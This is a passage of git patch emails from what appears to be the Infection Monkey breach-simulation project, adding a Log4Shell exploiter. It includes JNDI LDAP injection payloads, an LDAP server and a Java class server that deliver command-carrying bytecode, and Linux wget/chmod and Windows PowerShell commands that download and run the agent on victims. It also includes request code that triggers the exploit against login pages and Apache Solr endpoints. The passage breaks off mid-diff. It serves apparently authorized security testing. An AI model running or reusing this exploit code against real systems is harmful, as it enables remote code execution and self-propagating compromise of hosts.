exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH -) -> bytes: +def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes: """ Build a payload used to exploit log4shell :param str payload_command: The command that will be executed on the remote host. :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with the placeholder "###". This placeholder will be overwritten - with the contents of payload_command. Defaults to - `EXPLOIT_TEMPLATE_PATH` + with the contents of payload_command. :return: Java bytecode that will execute the payload :rtype: bytes """ @@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes: if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): raise InvalidExploitTemplateError( - f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' + f'The file "{exploit_template_path}" is not a compiled Java class' ) return template_bytecode diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7c39075be..1edb2db40 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = ( "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) +LOG4SHELL_LINUX_COMMAND = ( + "wget -O %(monkey_path)s %(http_path)s ;" + " chmod +x %(monkey_path)s ;" + " %(monkey_path)s %(monkey_type)s %(parameters)s" + # "touch /tmp/test_with_new" +) + +LOG4SHELL_WINDOWS_COMMAND = ( + 'powershell -NoLogo -Command "' + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " + ' %(monkey_path)s %(monkey_type)s %(parameters)s"' +) DOWNLOAD_TIMEOUT = 180 From 206abfa5e895d554e365da7536e34f395eba971f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 17:40:36 +0200 Subject: [PATCH 08/77] Agent: refactor a couple web_rce methods to static --- .../infection_monkey/exploit/elasticgroovy.py | 2 +- monkey/infection_monkey/exploit/struts2.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 26 ++++++++++--------- 3 files changed, 16 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 668bfb7c4..522c348b1 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE): def get_open_service_ports(self, port_list, names): # We must append elastic port we get from elastic fingerprint module because It's not # marked as 'http' service - valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) + valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names) if ES_SERVICE in self.host.services: valid_ports.append([ES_PORT, False]) return valid_ports diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index b029f211f..8bf2c788b 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = WebRCE.build_potential_urls(self.host.ip_addr, ports) url_list = [self.get_redirected(url) for url in url_list] return url_list diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index a8ce60a40..72d948c86 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -20,7 +20,7 @@ from infection_monkey.model import ( MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, - WGET_HTTP_UPLOAD, + WGET_HTTP_UPLOAD, VictimHost, ) from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem @@ -154,8 +154,10 @@ class WebRCE(HostExploiter): """ raise NotImplementedError() - def get_open_service_ports(self, port_list, names): + @staticmethod + def get_open_service_ports(victim_host: VictimHost, port_list, names): # noqa: F821 """ + :param victim_host: VictimHost object that exploiter is targeting :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names @@ -163,12 +165,12 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update( { - service: self.host.services[service] - for service in self.host.services + service: victim_host.services[service] + for service in victim_host.services if ( - self.host.services[service] - and "name" in self.host.services[service] - and self.host.services[service]["name"] in names + victim_host.services[service] + and "name" in victim_host.services[service] + and victim_host.services[service]["name"] in names ) } ) @@ -216,10 +218,12 @@ class WebRCE(HostExploiter): logger.error("Host's exploitability check failed due to: %s" % e) return False - def build_potential_urls(self, ports, extensions=None): + @staticmethod + def build_potential_urls(ip: str, ports, extensions=None): """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. + :param ip: IP address of the victim :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] @@ -237,9 +241,7 @@ class WebRCE(HostExploiter): protocol = "https" else: protocol = "http" - url_list.append( - join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) - ) + url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension)) if not url_list: logger.info("No attack url's were built") return url_list @@ -329,7 +331,7 @@ class WebRCE(HostExploiter): :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] """ - ports = self.get_open_service_ports(ports, names) + ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: logger.info("All default web ports are closed on %r, skipping", str(self.host)) return False From 0659fddac650b132d36b77145dfebac7b57eb9e8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 17:48:45 +0200 Subject: [PATCH 09/77] Agent: add the docker POC exploit to log4shell Implements the infrastructure needed to add different log4shell exploits and adds the --- monkey/infection_monkey/exploit/log4shell.py | 41 +++++++++---------- .../log4shell_utils/requests/__init__.py | 3 ++ .../log4shell_utils/requests/poc_docker.py | 25 +++++++++++ monkey/infection_monkey/model/__init__.py | 1 - 4 files changed, 48 insertions(+), 22 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b7c1b2133..3d95e92d7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -3,14 +3,13 @@ import http.server import logging from threading import Thread -import requests - from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode from infection_monkey.exploit.log4shell_utils.exploit_builder import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, ) +from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -26,8 +25,6 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) -LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}" - class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] @@ -36,7 +33,6 @@ class Log4ShellExploiter(WebRCE): LDAP_PORT = 8080 CLASS_HTTP_SERVER_PORT = 1337 DOWNLOAD_TIMEOUT = 15 - URLS = ["http://192.168.56.101:8080/login"] def __init__(self, host: VictimHost): super().__init__(host) @@ -57,11 +53,13 @@ class Log4ShellExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) + java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread( + class_http_server_ip, java_class + ) java_class_http_thread.start() ldap = LDAPExploitServer( - ldap_server_port=8080, + ldap_server_port=Log4ShellExploiter.LDAP_PORT, http_server_ip=class_http_server_ip, http_server_port=self.CLASS_HTTP_SERVER_PORT, storage_dir=get_monkey_dir_path(), @@ -69,21 +67,21 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} - try: - requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) - except requests.ReadTimeout: - logger.error("Couldn't send request to the vulnerable machine") - return False - finally: - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in exploits: + exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports) + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + ldap.stop() return True def build_ldap_payload(self): @@ -147,7 +145,8 @@ class Log4ShellExploiter(WebRCE): ): server.handle_request() - def get_java_class_server_thread(self, ip: str, java_class: bytes): + @staticmethod + def get_java_class_server_thread(ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py new file mode 100644 index 000000000..e6a289d5c --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py @@ -0,0 +1,3 @@ +from .poc_docker import trigger_exploit as exploit_poc + +exploits = [exploit_poc] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py new file mode 100644 index 000000000..9743391a0 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py @@ -0,0 +1,25 @@ +from logging import getLogger +from typing import List + +import requests + +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): + urls = build_urls(open_ports, host) + payload = {"uname": payload, "password": "m0nk3y"} + for url in urls: + try: + requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout: + logger.debug("Couldn't send request to the vulnerable machine") + + +def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: + urls = [] + for port in open_ports: + urls.append(f"http://{host.ip_addr}:{port}/login") + return urls diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 1edb2db40..c0429fc8b 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -64,7 +64,6 @@ LOG4SHELL_LINUX_COMMAND = ( "wget -O %(monkey_path)s %(http_path)s ;" " chmod +x %(monkey_path)s ;" " %(monkey_path)s %(monkey_type)s %(parameters)s" - # "touch /tmp/test_with_new" ) LOG4SHELL_WINDOWS_COMMAND = ( From 8a120110f5b65ae348b72ec8f715480a8a2e80eb Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 12:04:21 +0200 Subject: [PATCH 10/77] Agent: change ldap and http ports to be chosen dynamically in log4shell --- monkey/infection_monkey/exploit/log4shell.py | 28 ++++++++----------- .../log4shell_utils/requests/poc_docker.py | 6 ++-- 2 files changed, 14 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 3d95e92d7..a8af38401 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -19,6 +19,7 @@ from infection_monkey.model import ( MONKEY_ARG, VictimHost, ) +from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path @@ -30,13 +31,13 @@ class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" - LDAP_PORT = 8080 - CLASS_HTTP_SERVER_PORT = 1337 DOWNLOAD_TIMEOUT = 15 def __init__(self, host: VictimHost): super().__init__(host) self._client = None + self.ldap_port = get_free_tcp_port() + self.class_http_server_port = get_free_tcp_port() def exploit_host(self): @@ -53,15 +54,13 @@ class Log4ShellExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - java_class_http_thread = Log4ShellExploiter.get_java_class_server_thread( - class_http_server_ip, java_class - ) + java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) java_class_http_thread.start() ldap = LDAPExploitServer( - ldap_server_port=Log4ShellExploiter.LDAP_PORT, + ldap_server_port=self.ldap_port, http_server_ip=class_http_server_ip, - http_server_port=self.CLASS_HTTP_SERVER_PORT, + http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) ldap_thread = ldap.get_run_thread() @@ -86,7 +85,7 @@ class Log4ShellExploiter(WebRCE): def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) - return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}" + return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command def build_command(self, path, http_path): @@ -133,20 +132,15 @@ class Log4ShellExploiter(WebRCE): self.wfile.write(self.java_class) Log4ShellExploiter.HTTPHandler.class_downloaded = True - @staticmethod - def _run_class_http_server(ip): - - server = http.server.HTTPServer( - (ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler - ) + def _run_class_http_server(self, ip): + server = http.server.HTTPServer((ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler) while ( not Log4ShellExploiter.HTTPHandler.class_downloaded and not Log4ShellExploiter.HTTPHandler.stop ): server.handle_request() - @staticmethod - def get_java_class_server_thread(ip: str, java_class: bytes): + def get_java_class_server_thread(self, ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class - return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) + return Thread(target=self._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py index 9743391a0..6ac59eb2b 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py @@ -13,9 +13,9 @@ def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): payload = {"uname": payload, "password": "m0nk3y"} for url in urls: try: - requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout: - logger.debug("Couldn't send request to the vulnerable machine") + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: From 563438c7f86cd2de908e79e6a4e7a3c44835d0a0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 5 Jan 2022 12:37:08 +0100 Subject: [PATCH 11/77] Agent, Island: Add Apache Solr support for Log4Shell exploit --- .../log4shell_utils/requests/__init__.py | 3 ++- .../exploit/log4shell_utils/requests/solr.py | 25 +++++++++++++++++++ .../cc/services/config_schema/internal.py | 2 +- 3 files changed, 28 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py index e6a289d5c..08b7e3253 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py @@ -1,3 +1,4 @@ from .poc_docker import trigger_exploit as exploit_poc +from .solr import trigger_exploit as exploit_solr -exploits = [exploit_poc] +exploits = [exploit_poc, exploit_solr] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py new file mode 100644 index 000000000..ca5d31875 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py @@ -0,0 +1,25 @@ +from logging import getLogger +from typing import List + +import requests + +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): + urls = build_urls(open_ports, host) + payload = {"foo": payload} + for url in urls: + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") + + +def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: + urls = [] + for port in open_ports: + urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores") + return urls diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 84baa6ca5..dff4e8a13 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -129,7 +129,7 @@ INTERNAL = { "type": "array", "uniqueItems": True, "items": {"type": "integer"}, - "default": [80, 8080, 443, 8008, 7001, 9200], + "default": [80, 8080, 443, 8008, 7001, 9200, 8983], "description": "List of ports the monkey will check if are being used " "for HTTP", }, From d2181f6577ee34d9cd39c984d6895f86641eed69 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 14:15:56 +0200 Subject: [PATCH 12/77] Agent, UT: fix ldap builder UT's and some imports in log4shell --- monkey/infection_monkey/exploit/log4shell.py | 9 ++++++--- .../infection_monkey/exploit/log4shell_utils/__init__.py | 7 ++++++- .../exploit/log4shell_utils/test_exploit_builder.py | 3 ++- 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a8af38401..d3dc9d351 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,10 +4,11 @@ import logging from threading import Thread from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode -from infection_monkey.exploit.log4shell_utils.exploit_builder import ( +from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, + LDAPExploitServer, + build_exploit_bytecode, ) from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth @@ -133,7 +134,9 @@ class Log4ShellExploiter(WebRCE): Log4ShellExploiter.HTTPHandler.class_downloaded = True def _run_class_http_server(self, ip): - server = http.server.HTTPServer((ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler) + server = http.server.HTTPServer( + (ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler + ) while ( not Log4ShellExploiter.HTTPHandler.class_downloaded and not Log4ShellExploiter.HTTPHandler.stop diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index 5ffe79e49..d57218d8d 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1,2 +1,7 @@ -from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError +from .exploit_builder import ( + build_exploit_bytecode, + InvalidExploitTemplateError, + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, +) from .ldap_server import LDAPExploitServer diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py index e2551d061..01d4f61c4 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py @@ -1,6 +1,7 @@ import pytest from infection_monkey.exploit.log4shell_utils import ( + LINUX_EXPLOIT_TEMPLATE_PATH, InvalidExploitTemplateError, build_exploit_bytecode, ) @@ -19,7 +20,7 @@ def invalid_templates_dir(data_for_tests_dir): def test_inject_command(payload): expected_bytecode = b"\x21" + payload.encode() + b"\x0c" - exploit_bytecode = build_exploit_bytecode(payload) + exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH) assert expected_bytecode in exploit_bytecode From dd3c5aac6fea046c92619b98a62bea4ded10d7b9 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 14:21:26 +0200 Subject: [PATCH 13/77] Agent: small logging improvements in log4shel --- monkey/infection_monkey/exploit/log4shell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d3dc9d351..c4ef8c3dd 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -125,11 +125,11 @@ class Log4ShellExploiter(WebRCE): stop = False def do_GET(self): - logger.error("Got a get request!") + logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() - logger.info("Sending payload class!") + logger.info("Sending the payload class!") self.wfile.write(self.java_class) Log4ShellExploiter.HTTPHandler.class_downloaded = True From c382987430279c5697c8a55f7ecf094579c284f2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 15:18:12 +0200 Subject: [PATCH 14/77] Project: vulture allow LDAPServerFactory.buildProtocol --- vulture_allowlist.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index bab90e90d..e8d637285 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real dead or is kept deliberately. Referencing these in a file like this makes sure that Vulture doesn't mark these as dead again. """ +from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -181,6 +182,7 @@ Report.recommendations Report.glance Report.meta_info Report.meta +LDAPServerFactory.buildProtocol # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 5ac6d12fe9309786905f9928a35b841de90ecb6b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 15:47:45 +0200 Subject: [PATCH 15/77] Agent: fix log4shell exploitation indication --- monkey/infection_monkey/exploit/log4shell.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index c4ef8c3dd..361190c75 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -82,7 +82,9 @@ class Log4ShellExploiter(WebRCE): ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) ldap.stop() - return True + + # If java class was downloaded it means that victim is vulnerable + return Log4ShellExploiter.HTTPHandler.class_downloaded def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) From 09988b0f80052f3b81aad93b7bffe8fd2e5d3da2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 17:43:28 +0200 Subject: [PATCH 16/77] Agent: report vulnerable port and service in log4shell Refactor log4shell.py and related service exploiters to adhere to IExploitableService interface and save which service on which port was vulnerable to log4shell --- monkey/infection_monkey/exploit/log4shell.py | 35 ++++++++++++++----- .../exploit/log4shell_utils/__init__.py | 1 + .../log4shell_utils/requests/__init__.py | 4 --- .../log4shell_utils/requests/poc_docker.py | 25 ------------- .../exploit/log4shell_utils/requests/solr.py | 25 ------------- .../service_exploiters/__init__.py | 9 +++++ .../service_exploiters/exploitable_service.py | 16 +++++++++ .../service_exploiters/poc_docker.py | 22 ++++++++++++ .../service_exploiters/solr.py | 21 +++++++++++ 9 files changed, 95 insertions(+), 63 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 361190c75..9ca35b35e 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -2,6 +2,7 @@ import http.client import http.server import logging from threading import Thread +from time import sleep from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( @@ -9,8 +10,8 @@ from infection_monkey.exploit.log4shell_utils import ( WINDOWS_EXPLOIT_TEMPLATE_PATH, LDAPExploitServer, build_exploit_bytecode, + get_log4shell_service_exploiters, ) -from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -33,6 +34,7 @@ class Log4ShellExploiter(WebRCE): EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 + REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds def __init__(self, host: VictimHost): super().__init__(host) @@ -67,13 +69,8 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - # Try to exploit all services, - # because we don't know which services are running and on which ports - open_ports = [ - port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - for exploit in exploits: - exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports) + self._trigger_exploit() + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -86,6 +83,26 @@ class Log4ShellExploiter(WebRCE): # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded + def _trigger_exploit(self): + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in get_log4shell_service_exploiters(): + for port in open_ports: + exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + + # Wait for request + sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) + + if Log4ShellExploiter.HTTPHandler.class_downloaded: + self.exploit_info["vulnerable_service"] = { + "service_name": exploit.service_name, + "port": port, + } + return + def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" @@ -127,13 +144,13 @@ class Log4ShellExploiter(WebRCE): stop = False def do_GET(self): + Log4ShellExploiter.HTTPHandler.class_downloaded = True logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() logger.info("Sending the payload class!") self.wfile.write(self.java_class) - Log4ShellExploiter.HTTPHandler.class_downloaded = True def _run_class_http_server(self, ip): server = http.server.HTTPServer( diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index d57218d8d..65b5ebca2 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -5,3 +5,4 @@ from .exploit_builder import ( WINDOWS_EXPLOIT_TEMPLATE_PATH, ) from .ldap_server import LDAPExploitServer +from .service_exploiters import get_log4shell_service_exploiters diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py deleted file mode 100644 index 08b7e3253..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .poc_docker import trigger_exploit as exploit_poc -from .solr import trigger_exploit as exploit_solr - -exploits = [exploit_poc, exploit_solr] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py deleted file mode 100644 index 